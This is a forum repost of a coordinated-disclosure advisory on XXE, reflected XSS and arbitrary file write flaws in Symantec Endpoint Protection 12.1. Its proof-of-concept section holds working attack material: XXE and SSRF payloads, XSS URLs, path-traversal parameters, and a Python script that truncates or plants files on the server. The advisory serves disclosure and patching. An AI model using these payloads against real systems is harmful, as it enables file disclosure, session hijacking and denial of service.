Active Members akkiliON Posted November 9, 2014 Active Members Report Posted November 9, 2014 SEC Consult Vulnerability Lab Security Advisory < 20141106-0 >======================================================================= title: XXE & XSS & Arbitrary File Write vulnerabilities product: Symantec Endpoint Protection vulnerable version: 12.1.4023.4080 fixed version: 12.1.5 (RU 5) impact: Critical CVE number: CVE-2014-3437, CVE-2014-3438, CVE-2014-3439 homepage: http://www.symantec.com found: 2014-07-01 by: Stefan Viehböck SEC Consult Vulnerability Lab https://www.sec-consult.com=======================================================================Vendor description:-------------------"Symantec Endpoint Protection is a client-server solution that protectslaptops, desktops, Windows and Mac computers, and servers in your networkagainst malware. Symantec Endpoint Protection combines virus protection withadvanced threat protection to proactively secure your computers against knownand unknown threats.Symantec Endpoint Protection protects against malware such as viruses, worms,Trojan horses, spyware, and adware. It provides protection against even themost sophisticated attacks that evade traditional security measures, such asrootkits, zero-day attacks, and spyware that mutates. Providing low maintenanceand high power, Symantec Endpoint Protection communicates over your network toautomatically safeguard for both physical systems and virtual systems againstattacks."Source:https://www.symantec.com/endpoint-protectionhttps://www.symantec.com/business/support/index?page=content&id=DOC6153Business recommendation:------------------------Attackers are able to perform denial-of-service attacks against the EndpointProtection Manager which directly impacts the effectiveness of the client-sideendpoint protection. Furthermore, session identifiers of users can be stolento impersonate them and gain unauthorized access to the server.All of these attacks can have a severe impact on the security infrastructure.An update to the latest version (12.1.5 RU 5) is highly recommended.Vulnerability overview/description:-----------------------------------1) XML External Entity Injection (XXE) [CVE-2014-3437]Multiple XXE vulnerabilities were found in the Endpoint Protection Managerapplication. An attacker needs to perform MitM attacks to impersonatesecurityresponse.symantec.com (eg. via DNS poisoning/spoofing/hijacking,ARP spoofing, QUANTUM-style attacks, ...) to inject malicious XML code.These vulnerabilities can be used to execute server side requestforgery (SSRF) attacks used for portscanning/fingerprinting, denial of service,file disclosure as well as attacks against functionality that is onlyexposed internally (see CVE-2013-5015 and issue #3).Note:The exploitation scenario proves that the previous command execution viaSQL injection was exploitable for an external attacker with the ability tomanipulate internet traffic _without any prior knowledge_ of the target system.2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]Endpoint Protection Manager suffers from a reflected cross-site scriptingvulnerability, which allows an attacker to steal other users' sessions, toimpersonate other users and to gain unauthorized access to the admin interface.3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]Arbitrary files can be written or overwritten by an unauthenticated attacker.The target file is truncated in the process which results in Denial of Service.However it might be possible to write files with arbitrary content nonetheless.Proof of concept:-----------------1) XML External Entity Injection (XXE) [CVE-2014-3437]The Symantec Protection Center component downloads XML files fromhttp://securityresponse.symantec.com for information purposes.By impersonating securityresponse.symantec.com (eg. via DNSpoisoning/spoofing/hijacking, ARP spoofing, QUANTUM-style attacks, ...) anattacker can inject malicious XML code into the file contents and thus exploitXXE vulnerabilities.For example by offering the following XML code at the URLhttp://securityresponse.symantec.com/avcenter/deepsightkiosk/9.xmlarbitrary files can be disclosed via the Symantec Protection Center loginpage at https://<HOST>:8443/portal/Login.jsp===============================================================================<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE a [<!ENTITY e SYSTEM 'file:///c:/windows/win.ini'> ]><data> <regular> <text>&e;</text> </regular> <outbreak></outbreak> <threatcon>1</threatcon></data>===============================================================================Server Side Request Forgery (SSRF) can be exploited like in the followingexample that sets the application log level to "log all messages" eg. viahttp://securityresponse.symantec.com/avcenter/deepsightkiosk/10.xml===============================================================================<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE a [<!ENTITY e SYSTEM'http://localhost:9090/servlet/ConsoleServlet?ActionType=ConfigServer&logLevel=ALL'> ]><foo>&e;</foo>===============================================================================Furthermore some files can be exfiltrated to remote servers via thetechniques described in:https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdfhttp://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]At least the following URLs are vulnerable to XSS:https://<HOST>:8443/console/Highlander_docs/SSO-Error.jsp?ErrorMsg=<script>alert('xss')</script>https://<HOST>:8443/portal/Loading.jsp?uri=Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0Pj9BQUFBPUJCQkIiPjxzY3JpcHQ%2bYWxlcnQoJ3hzcycpPC9zY3JpcHQ%2b3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]A flaw in ConsoleServlet allows an attacker to specify the application serverthread name via the ActionType parameter. As the thread name is used inthe pattern that is passed to the java.util.logging.FileHandler constructorby the logging component (ServerLogger) an attacker can define the log filepath. By causing an exception in the thread, the log file is written todisk.The following code snippet causes an exception by terminating the TCPconnection before the server has finished writing the response to the socket.ActionType=/../../../../../../../../../../WINDOWS/win.ini%00 causes the win.inifile to be truncated.===============================================================================import socketimport structHOST = '<HOST>'PORT = 9090s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))l_onoff = 1l_linger = 0s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,struct.pack('ii', l_onoff, l_linger))msg = '''GET/servlet/ConsoleServlet?ActionType=/../../../../../../../../../../WINDOWS/win.ini%00HTTP/1.1Host: SYMEPPEvilContent: <?php evilcode(); ?>'''s.sendall(msg)s.shutdown(socket.SHUT_RD)===============================================================================ActionType=/../../Inetpub/Reporting/evil.php%00 causes the (empty) fileevil.php to be written into the Apache webroot.ActionType=/../../Inetpub/Reporting/evil.php causes the fileevil-0.log to be written into the Apache webroot.If the application log level has been set to "DEBUG" (which can be achievedvia XXE, see issue #1) the file content includes all headers passed in theHTTP request (including the EvilContent header in the example above). Howeverthe file will not be processed by PHP because of the .log extension. Due tothe complex nature of the Windows filesystem addressing modes (legacy/DOS,ADS, etc.) it is entirely possible that this limitation can be bypassed.Vulnerable / tested versions:-----------------------------The vulnerabilities have been verified to exist in Symantec Endpoint Protectionversion 12.1.4023.4080, which was the most recent version at the time of discovery.Vendor contact timeline:------------------------2014-07-11: Initial contact to secure@symantec.com2014-07-29: Ask for status at secure@symantec.com2014-08-01: Conference call about status, extended grace period to 2014-10-31September/October: Several discussions / rechecks of the vulnerabilities2014-11-06: Coordinated release of the advisorySolution:---------1) XML External Entity Injection (XXE) [CVE-2014-3437]Update to version 12.1.5 RU 52) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]Update to version 12.1.5 RU 53) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]The update to version 12.1.5 RU 5 only partially mitigates the vulnerability.Path Traversal is no longer possible, which reduces the severity tolow/medium. The vendor claims that it will be entirely solved in the nextversion (12.1.5 RU6).For further information see the security advisory of the vendor:http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141105_00Workaround:-----------See Symantec security advisory for further mitigations.Advisory URL:--------------https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Vulnerability LabSEC ConsultVienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - ZurichHeadquarter:Mooslackengasse 17, 1190 Vienna, AustriaPhone: +43 1 8903043 0Fax: +43 1 8903043 15Mail: research at sec-consult dot comWeb: https://www.sec-consult.comBlog: http://blog.sec-consult.comTwitter: https://twitter.com/sec_consultInterested in working with the experts of SEC Consult?Write to career@sec-consult.comEOF Stefan Viehböck / @2014Symantec Endpoint Protection 12.1.4023.4080 - Multiple Vulnerabilities Quote
